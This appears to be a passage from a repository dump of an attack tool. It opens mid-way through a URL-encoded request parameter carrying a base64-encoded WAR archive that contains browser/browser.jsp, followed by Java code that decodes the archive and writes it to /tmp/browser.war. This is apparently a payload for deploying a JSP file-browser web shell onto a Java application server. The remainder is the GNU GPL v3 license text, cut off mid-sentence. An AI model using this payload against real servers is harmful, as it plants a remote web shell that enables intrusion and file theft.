mIDBHlKuINfK0TnbthcnB8e4rnl4fLR%2Ffnx6edp7iT3kqyfbmwhc6qI8d5%2Ftyfbvraih0uJ9Zz3eT7Y%2Fnl9brI75mwyyVxFQ3jqsQU9aiV3vd6tPPHF1zQK06ylDyRM8ibpe2cTr8wdTIJOYB7byFY5VDV5QRYxlKRgkREoDvXmCip1ssE31LCBM1ZV6YGYAWsM%2F1A38NR1D3WIq19xoAol0fpUBCzOjSUPdqCZaPGmKKbMberVxNoHjaEM4oBcT2CYBQTbbkvV0Wy0HQg96I3%2BSwiLQRJXKEaqIq28MARzz5%2FfjxEVuDsEVSZW6nr0HtyGj7bRz1lt0mkkIk4%2BlPYty%2FkdmXac0RLLFBewLlbZoRqAca8ajnfN9RAeoTEhnzYUjNYwl1UOKomkmE23qVFWq8WKalOXqeAnblWUPV50pu13pleFzQh2cDXYWZpjxCPzEO%2BAcQiIajRk2HY0RVy0LD0cq3KxvA83BzsXR7ivNNEFVqeAqER1eYfb4YJJA5Y6ihrfFSct8DgRVByY58cZHJeoaPcrx5mjEeG2%2FiTzHXb5FSglGq1QjgMJvQPGbD%2FALOe3xA4IlVQ309vbPX%2B73DvZA6cFZ7lCGru2VwegqvKSEHfCY8A8qO4OxBlWGLs9zIyxmz8Cq9797NRfVJfp8UjFN%2BJxWWkJvF8QCwQju4KBNekzDqDnMVjj7GZQ9cBMOBoj6l5xnVPJF8CyMZzSo1NGSnBz8L%2F1U6oVvrHQ9ve33ZFHCsp4mI9D3ODL7Ae4nPZkZald%2B3xCKShj2kpb8oK%2F8Cu07Jo3ugEJlOsE4WXOw3rBkbEv8mlLpdFEY5eqTOM0vg1KuQG8OJymniMvKykFmKMNKi802mqevmiItW7Zz%2FVQqUn6lgaBvdpxuGMhKgCVszsYQZ9vlYIwg4XTD6IQTkfFkmyI3dIIV1wV9S%2FoE7027aQ%2Fgmy0%2BQWIUkMhNSdI0BfZ7WeFZ4VM2s%2Bf7242dbfWO1Dzy8ia65ptrKdhaToI%2BtpuCGqFbjQguePZ3fXCygH6qPvn%2FQsHbj9dq8%2F0DiwVgK%2B22WBS13K%2F9VYZMl%2FNuqQLxXjNIPWgMzb6tFyH2Xrl9ggjdopd9oEJb%2FeBdsVWT9ToP%2BEjZqXN6ZcxU5zWS6q9Otmnvqyf4uigy60BEdz2Yx%2FIJ%2BUf5CVnYsvrNNmHe6uAL%2FbiIIK34HkEwIDlnS3ZnPW8L5oN5SKkR%2BIddJEvmJQbyyr%2FdJMuX%2FE%2FxTRfYY07FSp3JRV%2FYyIU86dAmHoQHCprST5p6XPiyuaqsnBVGoXKtqtecyI%2Bh7tmzTfMwVa%2Bs5ro0PGSjK8Sms5InulO2xXwlXparTQNsiy3HFeBTugjmviivU01A2SDKEjVF3njaaf3GI5WTTx0l27bTzW2LE0ihgq5U2K8Ue9UUuQouonLVco%2FnI2F%2BUfkTbwbUwGQCKWTuUK3a3B2yMaOupC1Wc5116f2wGBnW6RzF9mybJTVK6rTDourhSVFrTgS7sruOhrrartg9pnLPqExxM4fxhL6n%2BrkZasC2hWI%2FaVbJXt4jNnSskJmBosPrGDtgpg4EdCZWQTrqsZyrkNdmOSnkAmEuMCh0sIoohUCZ8SbexWSDhAMT9%2B3VJE08%2Fig6cEQqX30wLJDB88e4f4TOoGiJQyuGktKOU7n7amLU80Fm9dHpZVD3%2Fn8%2Bm5U3pnf2TvBbb%2Bm0RNw5ODh%2BfSk9Rh%2BhzmVPaDuKJXfFFmjlZnRGGJ093deDV%2FGSYTHhP0o%2FVwA0CqlumUJnGVqVbwJGdb7hOnbmnbjq%2FetdM8Pct8TPwmL9t6rFZ%2BK3buh2X664ShQH%2BZjtV356o%2FxnIFzxRE%2B6tkqhCoHn6ylSSjLckvS2%2BK2ClPVSN9%2FcXDyaRu8Hbxj%2F7AMj%2BylGPVE6x1SHDFFErkobmgHKSteKUJ1PtjBdumvvPjG%2B%2Bjs8Hwo3XCVOc620JqCMz1SGIal%2B%2FbMpilU3CxFoqMBn7fzcns3MOTsI6e6sCgY7sg446%2Bt3g8rKvn%2F%2BDLFhGgU6GdciEjPvGLd9%2BVB8TadNx3QrXyHDfkieljpxfwIXsX4P21I54k%2FPwtxwFuw9Aq1%2F%2F5nCJP8UI1vyiIZteXvhPM4HleW1gpatC7FKKbmp8llS4w75S4X5t1Q7Ih9qX3y8qJpTl1Wc61RoWdLFFNXRs0CsWfUg2d2wVdGOgl70kg2rXZm3mF%2FLJWpmX5n0D1YBcmGzRs%2BpGAcdequYIl8p0c9GD9bVbJKt2tSFZITSXA4GISQRRw8sGsJPVWZs5IMFdvKEYqHdfDBsEWe%2B0G4%2BWGw7X7qdvOhuOu9D7qHTuQ31fOZUOJnrLtuecgg%2Fm6XaFCmUGeGgfgbVd2uVIFMJfdjtW6d%2BA76RwAHwYJxTxbqSq%2Bp%2BLh%2B5qPl8Bq95HeqF%2FOh4rnlBD7a9GWzuVxRhiTJPiVH6LWbyVY19feEyzKStcof9E8lDnPYzVBkZ3%2FOqaMTk9IxTbYnOgOon9UDmShNMBzn%2FzMUmsS1PiWWd2nnQcF5rU2vz2JfOvEm%2BbYKi2XeYjRAD4DffmKrRt80m9XmByv1k8fvP%2BKiuz7iiTVtzXoDWguRrCTe40bSodMtvyxe4uF044sgfSVSfSMxz3%2FP1q9xRyGxBxk78z38koE8reB3jMjMO7L3tXBMJdsixboEi4dj1YtvBPPDYdY8vv%2FdU6KK34XlPtrcP05W9OHUDfh6FmlakgxtIFXrCfYHCEkadek4jfYFtyHTiCVVvW4qEK36aO8yoPDwiuZHLj2VYUz4XAhjJ2tyQBtZyNPyWCBY5BjrDi%2FDlkUv%2BiCUn7L1CtAea0XKexbxyDA%2BUp8kbBUN%2B9gg61OHP%2F8Z8LrOrdFxlz4H%2B2w%2Bsqg6pZmRNoAlDiqzPA8aTl7gdLHyvNPq0oyVV3UScLZplQc703OvI5Uuic22qV2LnLtXVZBm3i1FdfJ7t87h07eOlxVTIIwxkaqHuVQzFsbTXIS7z11bpiTUU%2BVl137XIq7vwduW%2Fc7laQxzvtgBqd4f4UdqZcmW7bwaILprZl%2BViZ5qzmaz3wXpDzZe7wWTD3YLbtqVywacKEm6zDJaC2sOVN8%2FawpeXUMmi0tdScyXW9rc%2FL6X57zgv1BaCVINC4j6vXhFSkVhMbG7qH5XWo%2BstIcUp317kwaLnwpnLzypauwRJi4OAHK7EweZYp9y1om2qh2iGfUnFVgJZU9J1qBDr1d19RYnjLykzYOlDCW0%2F%2BXz4KvGEi2HAX1PTXje2z5SFWzhCmBvRW3GlWIfRR%2FTqFTnzszj37gZrKN%2FJK9SC7j4oh%2BwCamHKqD9NNzg4JN02LCqOsVLyPZsf2ky1CGwRbzbDfkkXSBUxH4rpfZwLg4XQPSsdF%2FWLKUEomVp3gGYkYeGyuBaCRQpzGyrjeyjQWrqEbMT4l6DeUFQvzG0%2FvsdhZJ5aB%2B2c9%2FzYGJKj4I6tT2oxxoU6qm7WDYDdoyGa9Cpr8sxELDUvY7InsSviOXfGnmE9KrOK%2B6p%2Fgvke%2BaoWyOpg34mZS7RjxJvqHeAkDZ%2F15FXKq%2BqzV0NB5RmsKJ692inQo5EnDuamwj%2B%2FXEAQ4My1HbnJNG9w8pXHaUQr6UEuPapQd4T5XxErI8vVMXROgFa9060YYKLl2McckswQBlYe6OwYtmVr9eU5nS5w1GLSkpU1d%2B7swPTG6lmmRD%2BsnB0fkR%2FpESP%2FCUOvtlei%2B%2FjxLUU%2BlUOtovaYXrto%2B%2B8uQvWJijrE1nGB%2Bpy%2FC%2FLYzXZRknfvh4UjcElXnXCLmrSdMB9XsNnRt19sdND8I1J1lGSFW41ks6Ltzqd8KmxHDKcjZ8Z%2B%2BAKxNnKF%2FUejbT6%2FzDcZtHhnysOdfpXMkHu9A7z0%2BvLl%2FkHv7DOmhiQBNT%2FOpdOhnbhyZPKbF8upH01SwxV6T0nIGzX8XVlpivkZIOfEiRTPEz%2B7Qb3AkeKCURz0YTlfH%2BHBnXPdEXRPb9mewy88vdVC43pzkzjRPG%2FzvKVVVI6ncPu1SB5No6toDpvB38Zd0gWOvnd06lEm3tCh1tEs9KuLoKf5VYl5%2Fvn83HybWgLIbI%2FCKKOvIgV28dZMSIG9%2FVMrA8zRL43evAyfm4UqlzNvjPeTy1ItdoDJxpSHFD9aBteie2SF5Ytuk1Ubs2P9SyQp62D%2B7tiZcGYWCDIiqpOzzlvMqKju5tltqNsNtjmHeAl73VT02QJBuFP28PUyFtOMVHrpc0xJovsj5yRVLUxKevToWUmVvvi0pEbqPDjiHOhbRKPlRpjKgS1ewvT0OBjQNkhCWKZ0fJunM0LW7MuSKvhQMIrnC1%2FjOyf4%2FGr4iIVANOR4ZhbBxywxa9wZzjJCc%2FdVGqPm9LWwzE75ofC%2F3uI67SGhlFxcX8bm%2B%2FiFSgPyeRcrPf5fXbA3gbQL6XLKgHPZpRu6EDk5%2FhokMobEWhM1GcG3YDUvdjrlnTEmzAGf4wbjSIUcgYphPKKgFjVj7XrRJK37eJMox%2B8DPm%2FlUMSSDF9iF1OYRt9mMu%2BirkyfVzo3Y5rCacUv8i1MRjggwhFuc9%2BqKNx4soIkeshF2ZJXhjER2MtJbRH2go86Z1FKWdZo5PYNMAQLvoAavil%2BmQH%2FJMZdNSlHKfnbZJT5OMdF7qvMgorqVo3j%2BMAinNvTOf1U%2FalmCf1lu1%2FLkALIWj4HX7O5qA%2F9Y5lmpfPsbeDq%2F9A2kPq0mKa2w6wlldbP8l1QcmarogWUdN3esRxLnm9PjfSCIfeP1cCFYPy51rKcKFLPulecyjO%2F4HHN4pI85tYXNy6UCcDhnnmN4yZdmGMRWF%2BQuXCQf3FII21%2BFfvg8PiHL%2BoS%2Bnjz4L9ja%2FkF75SrRhYLPKevtR62MnH6He1BlE5xx43Vq%2BENnjtpkGtkpgKuFyh2U9kt3lIpo3yEn09UfB7h9%2FsIof9ZRnNBwf8IH2DRD7hAKLKJYX6ckMcoLvQWsFlv7TAnw%2FQRH89p6ZGkV25%2BxFud9IcclSxUjZPy649FxaPP6PQEf2p69Rn9nws08kmu0Nqw0F2cln3Fk5Hd45Mfv5oSXCRxkZPNcrYMrpS%2F%2F4Vq9MvurL%2BUFv13d9e220QMRJ%2F5C7NSSSKFAIUnLkVAuZRLQZSCEKBoSRaIaJMoSYEK8e%2BcGV%2FGa3u7u4GCoC9NsvZ4PB6Px97xmVNYCDmio2ViQ%2FvSPV2tWVYnKlm9sg6x%2F2q8unrVwKL%2FUt4JQlNssWSYppos5kTZ%2BmVY1LxHzE%2BDtf636B031m7Nb7HWiPpWr%2B8sieAAQ7MlwQnVZGBln0pIZQksoUHbZ7mdcvCMK3VyRsxkaBf3pSoAgtuSkK5fEFsNl5DJPQl5%2FCUF0m4M91tldkKs48rgTwLEw4AhXigxfI3cnBbq59yd9rJu5gmlgjJ6ar1DmeDGdXOh1KMpnKIDB82YFKfuwTVp5XRcOGeVDGicTeBkryqiT9UeUJOg7awBbrsEC%2FdtkKM9LfbjmoOQZhUsK2XYtqj8uoeJTkJV%2B5xEkloEXDXTVBrd9dhqsPQ1W%2FbcGSfElduGKEAZ0o%2FS0Iw%2B5dOPBRoyBUTQ6SFGqZKekDqdgAqjTqYSI%2FOdaaprlkSUEgqeHnXn48zebZjn9mpDfKGHe%2BrfJwg7Fuuiz2CpaszKzgcHYKNQewal4v%2BiV33wyaFZYNbewx%2FgEiHfE2AskrTmM%2F%2FVic9%2BPfPZPJE26NcTBzlktTiVWDKR2GnnEStrG1VN3EpLaUF9Zu36eUp62OjWObFjIDA0JLYPny9A2ZlaLkY3sgSm%2B0MpQ0Qu6M%2FNIDVsMivtGSqz0NUk6TOlwuUkhifk6%2FAazB0ADxffGph2fKY0QQCeMHetLYqhpYwnWQJluI6dVBUH%2FSdI7u5dQbnvbKpres5lTqHfTLddr7nKOn0OPa8m7oLBaLF3ziOIA%2F8SehlwJLiG7q6Wm3MfVlm79aUnNNtxgGJBmU1p%2FIias%2Bmj4ni%2BKKjp4gtMzkBfcL599B59vMEOJ5X6XBwfzbkSHcWQje55AM6uyTSe9GTMNQv%2Blq0LweomltLaxVaPSaZes3%2FiK6HLQXysFWZoaOygGSqjQ5xARBAwN1HyBtHBf12cTjro%2BvwTNIEKl%2BpublNZTz%2F8ujvTVfER%2FDJkHb5YCsYmJwn1HBc4o6GfjOHWP3y%2F1FebfXW5r6780AUTpzNczZx96AMasfH06M3kHVYjx2hPuR%2FVefMRtP2ZxACrjHt7bvp%2BOb9mYXANMsTbbA%2FVjPf%2B%2Fpg19W1m4BUIXWHLIACgZOZy6mFAaATO5Yfza9QsDwO3f%2FGdxrsxyL35FrcnNbPqprGFcU3jIaOpgZDXvuKWDa10%2B5ds%2B0Aabdk%2B5pbfvoYtaM3AZcsA0BRbMjDOVz4DkH77%2Fm%2Fa5oGqWNW8rwml82QEW24Pn%2B4%2Bft0THB7VTVeJjfXCPaGcl2oFd2paLFR48HkHD68l7Mrz2YySTC%2BWfXc%2F8d7T57d3trfv7g63nyM5xZ7b7WE68bUYS5yMGuqT21k9tbiGP7f0widnvnLKFVxiE2qbTI7%2BX4%2B4E9KbjrZ%2FtwhzM3a6%2FIucElUTkn4z2XzX6wl%2FMaydHUJXhBloiraM5UZ%2F%2BcJrPS02Ay5Fs%2FhGx6QH7IgJYFWaTS2Fqjp41BGHIOZlLHrFAMme3VGulrx4AOHkalIt3pAEjglBobJ8mk9lmPQnYrwa2XnojDOT8meqXa9sFUjmDb4zU%2Fj6DtM1JSrjCYm01vvqoUeHN4%2FiyTjPg6v2nCIrGwygAIkdaa0v%2BXuUbi2di1QuoWy69O8aeOUPuDAfKW64NTc6AVKwLY%2BHO0%2Fu0y9vBgPRjD%2BjGKFG5PZkksM30Sv9YZQfjOA4r%2FRuGPeL3xPcyAevKKeI4oWdKVqb%2FYENNllua7DFSspm25a2e1%2Fyochzsgj2kpmMbbIJlJUmwQox5kDF0yASQk%2Bg%2Fn16I%2FoFpNJkvs4WdAFQyAWdkYOa0vKjtjyYkVuLRX68HJD26FryqoNAz7vO2WNRtV7cfqP1hIcEEvr4OLvmAon0U5MyujgwUE3fVsWUYKX8YUgsicFLKtcGLiHpJnZWHYpJwvcIktdnDVGRZAR86y5oCYtifpCPim5HdfqqM%2ByUb47buiX87M6g09NJDx1Prpy8qZQLsJVEyku8H9Po85%2BThaF%2BX8%2BtXQTGHLmB4wkmydusgQlyzCRMURYM5ZgNOtrTxsCOZgHBo1lG0mWbX65VVNYiIFNbI15wBcsxHpwSzvNZ99zH4QARFs1kS5ZL2D58DXpl2EMJxxn2qYSDPuZXDVygryDcpXoyOSwob3sTpSwBAvksEgySRoHa3%2BOLc8Nnz%2B%2B%2B3Ln7ytVhQ7oHOEcv7N0rN9zdf3L77nMxIA6cgQ8SV7MZRYA7UsYOflh6eh4ZUzk0XjpriippUxpYINQpmx83QCJmDSPlolYtYf%2Bh5STpPXfJfQZDxlyR%2BMxvly72Qvc5Sj8rygRe4RhHqiT95%2BfhYArfA5wTI3Kjm7EXxuTZD7tm10FnbuI6rnSp8I9A%2FGLu4yFPMTIYDBw5P7zblrQEzZs%2BoeCBANAx7WMuFVfjsEqvATNf2PhQZ2IP1W1V8bM0Zz0Vr9mSzxK7tRWYVOn5hNFvwSKMwnqNa9KVVbNk%2BHlgJmiaMMOwNxrBYrL0l7ozvpfiPoO%2BpeGGxjHp%2ByHuM2pcciXqpTaOxAarTsRC2Vlr78nJvRc6nh2pEaf8ygVzmOqWtJwM37Onz%2Faf9VTYaKJBhWPDjwU578P3B%2Fn0c6BFTvrCjxN9E%2FLQhZhEWmiC8mSXCqKn8ES9t0iTqCwCcQjLDCcBo4YsZ2wmWVCoZzApUEzqldJ9EZ82BkkVYXd07VKnfGwP3b99LiRdE%2FHEBKkPKRnRWh1Q%2BFGWNIuE3wyKVKaz1f8umJdwEULB1GHpeS6HK5p08fh4T92ozfrENiFfkvs2%2BYAADQ6Ba3%2BUczTHzwjHgKvILw9w%2BExeZPIABxvwsDAWYqEFwuHzSz27x25mkcJdeDlVlA%2Ba%2B9ahHoMBjdRuQ2ffWvRcORPgP38Q096z3uSmbxT9fiYN0Ps4ajU%2B2gnOIcyJA%2FSSrR11ydJo4KY6utHZGuqHPa7mhE%2FeZeFPLVbEGAegLrUBr86fFlXluicKRgYgPowHNzwCjki1AH2rzlW6bk%2Fak4UyX5VobXk16ZmYQKAb2QvnUjscJFfVLKtuRxQfsUdDoPSosbwr6LL1VfywO1vwloaSw5PzSJEsKSkmT%2FyC1G0ng45Dr3EARBOL83%2FeoEA13m6wKWAj1su2zA1OlEynggMytVYpfr3qPKGNLa1GGZdJJItzJXs2eXZd4jjaS22SjPC%2F2ySivl%2FaUPfl7doGM4VWtbjm9K9FNuD6ZMBt0MItV2FVlqnbtbsIPP%2FAztiICX1f0uVaB4gV5cudjPnzEOhcjZL7grG9W7gmeGtvCJRGx9uGCl8ofWdhRmwzig5pTR3jk%2BnoYKBw8oIflxHbjm8QbMq3j3m1YYzYDK2wji%2BK1dFiStYMW%2FbDbmd7xs7MogCrx7AFU3RhZrGRYCPstv1mp%2BdE8ENRn6uFYV%2Fai1B8sH54Bfz6fCY7bXzmthbFAaVX5%2B%2B5ObHjaCgrF44QgPNwMPZCBhrHHkzGuvwQi4sRn70JkuDWh4cJsHmZ2Y8TNERUqpVtd3vSdNAEomhjq5YbAatpx869tuyQDqX5oYtmNaptYwDZVKIQDaQwAwLZGkm3wZtc302zRqHQv8QaCKzJGl%2BqqmbNXOEuMwdlF%2FUKGaPiwhiqr8mYB4miOTPzuCor%2BHjyJQoj8ua8n6wSsx50qoKPNqujj8AI%2BjniDkheTGbmPFyU3AtNerr3onZd%2BSuLFFelUYwtVFOrxA2anIMpndmfx%2Bsf1OTk1zXZGtnj0U09oqWlw3lHEux4dT6b78%2B7nXhAsUgEGrVRXix2b73Ywey98%2FTJk1u723tmxVD4W0d7%2FhH9KFcdzQ4PYY5c7dSYP86PprgrYorCR7Aj3XiErckAperhfnxrf%2FfOAzsa4N0bPJvC5IcboAswCuYzhnXjH0nGYvthonh%2FAlBLAwQKAAAAAADVliQ7AAAAAAAAAAAAAAAACQAAAE1FVEEtSU5GL1BLAwQKAAAAAADAaz46gqdadUcAAABHAAAAFAAAAE1FVEEtSU5GL01BTklGRVNULk1GTWFuaWZlc3QtVmVyc2lvbjogMS4wDQpDcmVhdGVkLUJ5OiAxLjYuMF8xMSAoU3VuIE1pY3Jvc3lzdGVtcyBJbmMuKQ0KDQpQSwECFAAKAAAAAABKmCQ7AAAAAAAAAAAAAAAACAAAAAAAAAAAABAAAAAAAAAAYnJvd3Nlci9QSwECFAAUAAAACABQmCQ75Ir4GW1FAADnJgEAEwAAAAAAAAAAACAAAAAmAAAAYnJvd3Nlci9icm93c2VyLmpzcFBLAQIUAAoAAAAAANWWJDsAAAAAAAAAAAAAAAAJAAAAAAAAAAAAEAAAAMRFAABNRVRBLUlORi9QSwECFAAKAAAAAADAaz46gqdadUcAAABHAAAAFAAAAAAAAAAAACAAAADrRQAATUVUQS1JTkYvTUFOSUZFU1QuTUZQSwUGAAAAAAQABADwAAAAZEYAAAAA%22%3BBASE64Decoder+decoder+%3D+new+BASE64Decoder%28%29%3Bbyte%5B%5D+byteval+%3D+decoder.decodeBuffer%28val%29%3BFileOutputStream+fstream+%3D+new+FileOutputStream%28%22%2Ftmp%2Fbrowser.war%22%29%3Bfstream.write%28byteval%29%3B+fstream.close%28%29%3B&arg1=browser 16 | -------------------------------------------------------------------------------- /LICENSE.txt: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 3, 29 June 2007 3 | 4 | Copyright (C) 2007 Free Software Foundation, Inc. 5 | Everyone is permitted to copy and distribute verbatim copies 6 | of this license document, but changing it is not allowed. 7 | 8 | Preamble 9 | 10 | The GNU General Public License is a free, copyleft license for 11 | software and other kinds of works. 12 | 13 | The licenses for most software and other practical works are designed 14 | to take away your freedom to share and change the works. By contrast, 15 | the GNU General Public License is intended to guarantee your freedom to 16 | share and change all versions of a program--to make sure it remains free 17 | software for all its users. We, the Free Software Foundation, use the 18 | GNU General Public License for most of our software; it applies also to 19 | any other work released this way by its authors. You can apply it to 20 | your programs, too. 21 | 22 | When we speak of free software, we are referring to freedom, not 23 | price. Our General Public Licenses are designed to make sure that you 24 | have the freedom to distribute copies of free software (and charge for 25 | them if you wish), that you receive source code or can get it if you 26 | want it, that you can change the software or use pieces of it in new 27 | free programs, and that you know you can do these things. 28 | 29 | To protect your rights, we need to prevent others from denying you 30 | these rights or asking you to surrender the rights. Therefore, you have 31 | certain responsibilities if you distribute copies of the software, or if 32 | you modify it: responsibilities to respect the freedom of others. 33 | 34 | For example, if you distribute copies of such a program, whether 35 | gratis or for a fee, you must pass on to the recipients the same 36 | freedoms that you received. You must make sure that they, too, receive 37 | or can get the source code. And you must show them these terms so they 38 | know their rights. 39 | 40 | Developers that use the GNU GPL protect your rights with two steps: 41 | (1) assert copyright on the software, and (2) offer you this License 42 | giving you legal permission to copy, distribute and/or modify it. 43 | 44 | For the developers' and authors' protection, the GPL clearly explains 45 | that there is no warranty for this free software. For both users' and 46 | authors' sake, the GPL requires that modified versions be marked as 47 | changed, so that their problems will not be attributed erroneously to 48 | authors of previous versions. 49 | 50 | Some devices are designed to deny users access to install or run 51 | modified versions of the software inside them, although the manufacturer 52 | can do so. This is fundamentally incompatible with the aim of 53 | protecting users' freedom to change the software. The systematic 54 | pattern of such abuse occurs in the area of products for individuals to 55 | use, which is precisely where it is most unacceptable. Therefore, we 56 | have designed this version of the GPL to prohibit the practice for those 57 | products. If such problems arise substantially in other domains, we 58 | stand ready to extend this provision to those domains in future versions 59 | of the GPL, as needed to protect the freedom of users. 60 | 61 | Finally, every program is threatened constantly by software patents. 62 | States should not allow patents to restrict development and use of 63 | software on general-purpose computers, but in those that do, we wish to 64 | avoid the special danger that patents applied to a free program could 65 | make it effectively proprietary. To prevent this, the GPL assures that 66 | patents cannot be used to render the program non-free. 67 | 68 | The precise terms and conditions for copying, distribution and 69 | modification follow. 70 | 71 | TERMS AND CONDITIONS 72 | 73 | 0. Definitions. 74 | 75 | "This License" refers to version 3 of the GNU General Public License. 76 | 77 | "Copyright" also means copyright-like laws that apply to other kinds of 78 | works, such as semiconductor masks. 79 | 80 | "The Program" refers to any copyrightable work licensed under this 81 | License. Each licensee is addressed as "you". "Licensees" and 82 | "recipients" may be individuals or organizations. 83 | 84 | To "modify" a work means to copy from or adapt all or part of the work 85 | in a fashion requiring copyright permission, other than the making of an 86 | exact copy. The resulting work is called a "modified version" of the 87 | earlier work or a work "based on" the earlier work. 88 | 89 | A "covered work" means either the unmodified Program or a work based 90 | on the Program. 91 | 92 | To "propagate" a work means to do anything with it that, without 93 | permission, would make you directly or secondarily liable for 94 | infringement under applicable copyright law, except executing it on a 95 | computer or modifying a private copy. Propagation includes copying, 96 | distribution (with or without modification), making available to the 97 | public, and in some countries other activities as well. 98 | 99 | To "convey" a work means any kind of propagation that enables other 100 | parties to make or receive copies. Mere interaction with a user through 101 | a computer network, with no transfer of a copy, is not conveying. 102 | 103 | An interactive user interface displays "Appropriate Legal Notices" 104 | to the extent that it includes a convenient and prominently visible 105 | feature that (1) displays an appropriate copyright notice, and (2) 106 | tells the user that there is no warranty for the work (except to the 107 | extent that warranties are provided), that licensees may convey the 108 | work under this License, and how to view a copy of this License. If 109 | the interface presents a list of user commands or options, such as a 110 | menu, a prominent item in the list meets this criterion. 111 | 112 | 1. Source Code. 113 | 114 | The "source code" for a work means the preferred form of the work 115 | for making modifications to it. "Object code" means any non-source 116 | form of a work. 117 | 118 | A "Standard Interface" means an interface that either is an official 119 | standard defined by a recognized standards body, or, in the case of 120 | interfaces specified for a particular programming language, one that 121 | is widely used among developers working in that language. 122 | 123 | The "System Libraries" of an executable work include anything, other 124 | than the work as a whole, that (a) is included in the normal form of 125 | packaging a Major Component, but which is not part of that Major 126 | Component, and (b) serves only to enable use of the work with that 127 | Major Component, or to implement a Standard Interface for which an 128 | implementation is available to the public in source code form. A 129 | "Major Component", in this context, means a major essential component 130 | (kernel, window system, and so on) of the specific operating system 131 | (if any) on which the executable work runs, or a compiler used to 132 | produce the work, or an object code interpreter used to run it. 133 | 134 | The "Corresponding Source" for a work in object code form means all 135 | the source code needed to generate, install, and (for an executable 136 | work) run the object code and to modify the work, including scripts to 137 | control those activities. However, it does not include the work's 138 | System Libraries, or general-purpose tools or generally available free 139 | programs which are used unmodified in performing those activities but 140 | which are not part of the work. For example, Corresponding Source 141 | includes interface definition files associated with source files for 142 | the work, and the source code for shared libraries and dynamically 143 | linked subprograms that the work is specifically designed to require, 144 | such as by intimate data communication or control flow between those 145 | subprograms and other parts of the work. 146 | 147 | The Corresponding Source need not include anything that users 148 | can regenerate automatically from other parts of the Corresponding 149 | Source. 150 | 151 | The Corresponding Source for a work in source code form is that 152 | same work. 153 | 154 | 2. Basic Permissions. 155 | 156 | All rights granted under this License are granted for the term of 157 | copyright on the Program, and are irrevocable provided the stated 158 | conditions are met. This License explicitly affirms your unlimited 159 | permission to run the unmodified Program. The output from running a 160 | covered work is covered by this License only if the output, given its 161 | content, constitutes a covered work. This License acknowledges your 162 | rights of fair use or other equivalent, as provided by copyright law. 163 | 164 | You may make, run and propagate covered works that you do not 165 | convey, without conditions so long as your license otherwise remains 166 | in force. You may convey covered works to others for the sole purpose 167 | of having them make modifications exclusively for you, or provide you 168 | with facilities for running those works, provided that you comply with 169 | the terms of this License in conveying all material for which you do 170 | not control copyright. Those thus making or running the covered works 171 | for you must do so exclusively on your behalf, under your direction 172 | and control, on terms that prohibit them from making any copies of 173 | your copyrighted material outside their relationship with you. 174 | 175 | Conveying under any other circumstances is permitted solely under 176 | the conditions stated below. Sublicensing is not allowed; section 10 177 | makes it unnecessary. 178 | 179 | 3. Protecting Users' Legal Rights From Anti-Circumvention Law. 180 | 181 | No covered work shall be deemed part of an effective technological 182 | measure under any applicable law fulfilling obligations under article 183 | 11 of the WIPO copyright treaty adopted on 20 December 1996, or 184 | similar laws prohibiting or restricting circumvention of such 185 | measures. 186 | 187 | When you convey a covered work, you waive any legal power to forbid 188 | circumvention of technological measures to the extent such circumvention 189 | is effected by exercising rights under this License with respect to 190 | the covered work, and you disclaim any intention to limit operation or 191 | modification of the work as a means of enforcing, against the work's 192 | users, your or third parties' legal rights to forbid circumvention of 193 | technological measures. 194 | 195 | 4. Conveying Verbatim Copies. 196 | 197 | You may convey verbatim copies of the Program's source code as you 198 | receive it, in any medium, provided that you conspicuously and 199 | appropriately publish on each copy an appropriate copyright notice; 200 | keep intact all notices stating that this License and any 201 | non-permissive terms added in accord with section 7 apply to the code; 202 | keep intact all notices of the absence of any warranty; and give all 203 | recipients a copy of this License along with the Program. 204 | 205 | You may charge any price or no price for each copy that you convey, 206 | and you may offer support or warranty protection for a fee. 207 | 208 | 5. Conveying Modified Source Versions. 209 | 210 | You may convey a work based on the Program, or the modifications to 211 | produce it from the Program, in the form of source code under the 212 | terms of section 4, provided that you also meet all of these conditions: 213 | 214 | a) The work must carry prominent notices stating that you modified 215 | it, and giving a relevant date. 216 | 217 | b) The work must carry prominent notices stating that it is 218 | released under this License and any conditions added under section 219 | 7. This requirement modifies the requirement in section 4 to 220 | "keep intact all notices". 221 | 222 | c) You must license the entire work, as a whole, under this 223 | License to anyone who comes into possession of a copy. This 224 | License will therefore apply, along with any applicable section 7 225 | additional terms, to the whole of the work, and all its parts, 226 | regardless of how they are packaged. This License gives no 227 | permission to license the work in any other way, but it does not 228 | invalidate such permission if you have separately received it. 229 | 230 | d) If the work has interactive user interfaces, each must display 231 | Appropriate Legal Notices; however, if the Program has interactive 232 | interfaces that do not display Appropriate Legal Notices, your 233 | work need not make them do so. 234 | 235 | A compilation of a covered work with other separate and independent 236 | works, which are not by their nature extensions of the covered work, 237 | and which are not combined with it such as to form a larger program, 238 | in or on a volume of a storage or distribution medium, is called an 239 | "aggregate" if the compilation and its resulting copyright are not 240 | used to limit the access or legal rights of the compilation's users 241 | beyond what the individual works permit. Inclusion of a covered work 242 | in an aggregate does not cause this License to apply to the other 243 | parts of the aggregate. 244 | 245 | 6. Conveying Non-Source Forms. 246 | 247 | You may convey a covered work in object code form under the terms 248 | of sections 4 and 5, provided that you also convey the 249 | machine-readable Corresponding Source under the terms of this License, 250 | in one of these ways: 251 | 252 | a) Convey the object code in, or embodied in, a physical product 253 | (including a physical distribution medium), accompanied by the 254 | Corresponding Source fixed on a durable physical medium 255 | customarily used for software interchange. 256 | 257 | b) Convey the object code in, or embodied in, a physical product 258 | (including a physical distribution medium), accompanied by a 259 | written offer, valid for at least three years and valid for as 260 | long as you offer spare parts or customer support for that product 261 | model, to give anyone who possesses the object code either (1) a 262 | copy of the Corresponding Source for all the software in the 263 | product that is covered by this License, on a durable physical 264 | medium customarily used for software interchange, for a price no 265 | more than your reasonable cost of physically performing this 266 | conveying of source, or (2) access to copy the 267 | Corresponding Source from a network server at no charge. 268 | 269 | c) Convey individual copies of the object code with a copy of the 270 | written offer to provide the Corresponding Source. This 271 | alternative is allowed only occasionally and noncommercially, and 272 | only if you received the object code with such an offer, in accord 273 | with subsection 6b. 274 | 275 | d) Convey the object code by offering access from a designated 276 | place (gratis or for a charge), and offer equivalent access to the 277 | Corresponding Source in the same way through the same place at no 278 | further charge. You need not require recipients to copy the 279 | Corresponding Source along with the object code. If the place to 280 | copy the object code is a network server, the Corresponding Source 281 | may be on a different server (operated by you or a third party) 282 | that supports equivalent copying facilities, provided you maintain 283 | clear directions next to the object code saying where to find the 284 | Corresponding Source. Regardless of what server hosts the 285 | Corresponding Source, you remain obligated to 